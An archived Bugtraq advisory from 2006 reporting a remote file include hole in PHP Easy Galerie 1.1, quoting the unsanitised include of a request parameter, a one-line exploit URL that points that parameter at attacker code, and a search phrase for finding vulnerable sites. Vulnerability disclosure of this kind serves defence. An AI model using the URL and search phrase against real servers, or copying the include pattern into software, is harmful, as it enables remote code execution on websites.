Bugtraq mailing list archives
PHP Easy Galerie Index.PHP Remote File Include Vulnerability
From: craziest () gmail com
Date: 21 May 2006 10:45:12 -0000
Vendor: Power-Place www.power-place.net (PHP Easy Galerie 1.1) ------------------------------------------------- Author:Craziest Contact: craziest(at)gmail(dot)com Vuln discovered by BrEakerS -------------------------------------------------- Method:An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process by source: if(isset($includepath)){ include ("$includepath"); http://[url]/gallerypath/index.php?includepath=evilcode Search:"Power-Place 2003/2004" -------------------------------------------------------- Greets:Rootshell Security Group
Current thread:
- PHP Easy Galerie Index.PHP Remote File Include Vulnerability craziest (May 22)